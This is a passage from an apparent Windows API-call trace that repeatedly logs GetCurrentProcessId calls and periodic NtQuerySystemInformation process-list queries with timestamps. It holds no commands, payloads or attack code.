returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.127] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.128] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.129] GetCurrentProcessId () returned 0x10c0 [0245.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.706] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.707] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.708] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.709] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0245.710] GetCurrentProcessId () returned 0x10c0 [0246.340] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.342] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.343] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.344] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.345] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.346] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.347] GetCurrentProcessId () returned 0x10c0 [0246.893] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db10) returned 0x0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.904] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.905] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.906] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.907] GetCurrentProcessId () returned 0x10c0 [0246.908] GetCurrentProcessId () returned 0x10c0 [0246.908] GetCurrentProcessId () returned 0x10c0 [0246.908] GetCurrentProcessId () returned 0x10c0 [0246.908] GetCurrentProcessId () returned 0x10c0 [0246.908] GetCurrentProcessId () returned 0x10c0 [0247.430] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0247.431] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.432] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.433] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.434] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.436] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.437] GetCurrentProcessId () returned 0x10c0 [0247.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x124815b0, ResultLength=0x1b8bf0d0*=0x1db60) returned 0x0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.989] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0247.990] GetCurrentProcessId () returned 0x10c0 [0248.020] GetCurrentProcessId () returned 0x10c0 [0248.020] GetCurrentProcessId () returned 0x10c0 [0248.020] GetCurrentProcessId () returned 0x10c0 [0248.020] GetCurrentProcessId () returned 0x10c0 [0248.020] GetCurrentProcessId () returned 0x10c0 [0248.020] 